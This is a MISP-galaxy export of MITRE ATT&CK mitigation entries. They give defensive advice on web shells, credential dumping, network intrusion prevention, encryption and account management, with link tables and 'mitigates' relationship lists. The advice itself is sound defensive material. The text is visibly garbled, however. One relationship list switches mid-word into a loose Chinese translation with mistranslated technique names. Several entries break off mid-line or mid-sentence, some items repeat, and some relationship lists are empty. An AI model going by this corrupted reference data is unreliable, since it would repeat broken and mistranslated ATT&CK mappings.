Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Data Obfuscation Mitigation - T1001"

Table 6088. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1001">https://attack.mitre.org/mitigations/T1001</a></td>
</tr>
</tbody>
</table>

**Web Shell Mitigation - T1100**

Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages.

Audit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)
Automated Exfiltration Mitigation - T1020

Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Hardware Additions Mitigation - T1200

Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems.

Block unknown devices and accessories by endpoint security configuration and monitoring agent.
Data Compressed Mitigation - T1002

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like App Locker, (Citation: Windows Commands JPCERT) (Citation: NSA MS App Locker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet App Locker vs SRP)

If network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.

The tag is: misp-galaxy:mitre-course-of-action="Data Compressed Mitigation - T1002"

Table 6092. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1002">https://attack.mitre.org/mitigations/T1002</a></td>
</tr>
</tbody>
</table>

Credential Dumping Mitigation - T1003

Windows

Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)

Identify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like App Locker, (Citation: Windows Commands JPCERT) (Citation: NSA MS App Locker) or Software Restriction Policies (Citation: Corio 2008) where
With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)

Manage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)

Consider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)

**Linux**

Scraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.

The tag is: `misp-galaxy:mitre-course-of-action="Credential Dumping Mitigation - T1003"`

**Table 6093. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=1729">https://adsecurity.org/?p=1729</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1003">https://attack.mitre.org/mitigations/T1003</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach">https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach</a></td>
</tr>
<tr>
<td><a href="https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard">https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard</a></td>
</tr>
<tr>
<td><a href="https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr">https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr</a></td>
</tr>
</tbody>
</table>
System Partition Integrity - M1004

Ensure that Android devices being used include and enable the Verified Boot capability, which cryptographically ensures the integrity of the system partition.

The tag is: misp-galaxy:mitre-course-of-action="System Partition Integrity - M1004"

View relationships graph

System Partition Integrity - M1004 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1629.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1398" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1474.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Runtime API Hijacking - T1625.001" with estimative-language:likelihood-probability="almost-certain"

Network Sniffing Mitigation - T1040

Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.

Identify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Network Sniffing Mitigation - T1040"
New Service Mitigation - T1050

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.

Identify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="New Service Mitigation - T1050"

Table 6096. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1050">https://attack.mitre.org/mitigations/T1050</a></td>
<td></td>
</tr>
</tbody>
</table>

Fallback Channels Mitigation - T1008

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Fallback Channels Mitigation - T1008"
Binary Padding Mitigation - T1009

Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Binary Padding Mitigation - T1009"

Encrypt Network Traffic - M1009

Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.

iOS’s App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.

Android’s Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).

Use of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.

The tag is: misp-galaxy:mitre-course-of-action="Encrypt Network Traffic - M1009"
Encrypt Network Traffic - M1009 has relationships with:


**Brute Force Mitigation - T1110**

Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. Follow best practices for mitigating access to [Valid Accounts](https://attack.mitre.org/techniques/T1078)

Refer to NIST guidelines when creating passwords.(Citation: NIST 800-63-3)

Where possible, also enable multi factor authentication on external facing services.

The tag is: misp-galaxy:mitre-course-of-action="Brute Force Mitigation - T1110"

**Query Registry Mitigation - T1012**

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Query Registry Mitigation - T1012"
Web Service Mitigation - T1102

Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Web Service Mitigation - T1102"

Table 6102. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1102">https://attack.mitre.org/mitigations/T1102</a></td>
</tr>
</tbody>
</table>

Application Developer Guidance - M1013

This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.

The tag is: misp-galaxy:mitre-course-of-action="Application Developer Guidance - M1013"

View relationships graph

Application Developer Guidance - M1013 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1626" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1635" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Access Notifications - T1517" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Compromise Software Dependencies and Development Tools - T1474.001" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="URI Hijacking - T1635.001" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Plist File Modification - T1647" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="XPC Services - T1559.003" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Resource Forking - T1564.009" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

Table 6103. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1013">https://attack.mitre.org/mitigations/M1013</a></td>
</tr>
</tbody>
</table>

**AppInit DLLs Mitigation - T1103**

Upgrade to Windows 8 or later and enable secure boot.

 Identify and block potentially malicious software that may be executed through AppInit DLLs by
using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: *misp-galaxy:mitre-course-of-action="AppInit DLLs Mitigation - T1103"*

**Table 6104. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1103">https://attack.mitre.org/mitigations/T1103</a></td>
</tr>
</tbody>
</table>

**Network Intrusion Prevention - M1031**

Use intrusion detection signatures to block traffic at network boundaries.

The tag is: *misp-galaxy:mitre-course-of-action="Network Intrusion Prevention - M1031"*

**View relationships graph**

Network Intrusion Prevention - M1031 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="Data from Configuration Repository - T1602"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="DNS - T1071.004"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="TFTP Boot - T1542.005"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001"* with estimative-language:likelihood-probability="almost-certain"
- mitigates: *misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219"* with estimative-
语言: 确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="计划传输 - T1029" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="协议隧道 - T1572" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="网络设备配置转储 - T1602.002" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="电子邮件协议 - T1071.003" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="DHCP欺骗 - T1557.003" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS中毒和SMB重定向 - T1557.001" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="外部代理 - T1090.002" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="代理 - T1090" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="多阶段信息通道 - T1104" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="用户执行 - T1204" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="动态分辨率 - T1568" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="Web服务 - T1102" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="多阶段信息通道 - T1104" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="用户执行 - T1204" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="Exfiltration Over C2通道 - T1041" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="文件传输协议 - T1071.002" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="单向通信 - T1102.003" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="欺骗 - T1566" 与确定概率="几乎肯定"

- 降低：misp-galaxy:mitre-attack-pattern="ROMMONkit - T1542.004" 与确定概率="几乎肯定"
- mitigates: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Malicious Image - T1204.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SNMP (MIB Dump) - T1602.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-
• mitigates: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"


Table 6105. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1031">https://attack.mitre.org/mitigations/M1031</a></td>
</tr>
</tbody>
</table>

**Port Monitors Mitigation - T1013**

Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.

The tag is: misp-galaxy:mitre-course-of-action="Port Monitors Mitigation - T1013"

Table 6106. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1013">https://attack.mitre.org/mitigations/T1013</a></td>
</tr>
</tbody>
</table>

**Encrypt Sensitive Information - M1041**

Protect sensitive information with strong encryption.

The tag is: misp-galaxy:mitre-course-of-action="Encrypt Sensitive Information - M1041"

View relationships graph

Encrypt Sensitive Information - M1041 has relationships with:


• mitigates: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Configuration Repository - T1602" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage - T1530" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Content Injection - T1659" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Email Forwarding Rule - T1114.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Steal or Forge Authentication Certificates - T1649" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="ARP Cache Poisoning - T1557.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1565.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Silver Ticket - T1558.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1565.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="SNMP (MIB Dump) - T1602.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

---

**Table 6107. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1041">https://attack.mitre.org/mitigations/M1041</a></td>
</tr>
</tbody>
</table>

---

**Active Directory Configuration - M1015**

Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.

The tag is: **misp-galaxy:mitre-course-of-action="Active Directory Configuration - M1015"**

**View relationships graph**

Active Directory Configuration - M1015 has relationships with:

• mitigates: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="SAML Tokens - T1606.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Golden Ticket - T1558.001" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Steal or Forge Authentication Certificates - T1649" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1134.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"

Table 6108. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1015">https://attack.mitre.org/mitigations/M1015</a></td>
</tr>
</tbody>
</table>

**Accessibility Features Mitigation - T1015**

To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)

If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)

Identify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Accessibility Features Mitigation - T1015"

Table 6109. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
</tbody>
</table>
Plist Modification Mitigation - T1150

Prevent plist files from being modified by users by making them read-only.

The tag is: misp-galaxy:mitre-course-of-action="Plist Modification Mitigation - T1150"

Table 6110. Table References

Links

https://attack.mitre.org/mitigations/T1150

Systemd Service Mitigation - T1501

The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services.

The tag is: misp-galaxy:mitre-course-of-action="Systemd Service Mitigation - T1501"

Table 6111. Table References

Links

https://attack.mitre.org/mitigations/T1501

Shared Webroot Mitigation - T1051

Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.

Ensure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on
directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Security) (Citation: NIST Server Security July 2008)

The tag is: `misp-galaxy:mitre-course-of-action="Shared Webroot Mitigation - T1051"`

**Launch Daemon Mitigation - T1160**

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.

The tag is: `misp-galaxy:mitre-course-of-action="Launch Daemon Mitigation - T1160"`

**File Deletion Mitigation - T1107**

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: `misp-galaxy:mitre-course-of-action="File Deletion Mitigation - T1107"`
User Account Management - M1018

Manage the creation, modification, use, and permissions associated to user accounts.

The tag is: misp-galaxy:mitre-course-of-action="User Account Management - M1018"

View relationships graph

User Account Management - M1018 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Container Orchestration Job - T1053.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify Cloud Compute Infrastructure - T1578" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Print Processors - T1547.012" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage - T1530" with estimative-
language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Additional Container Cluster Roles - T1098.006" with estimative-
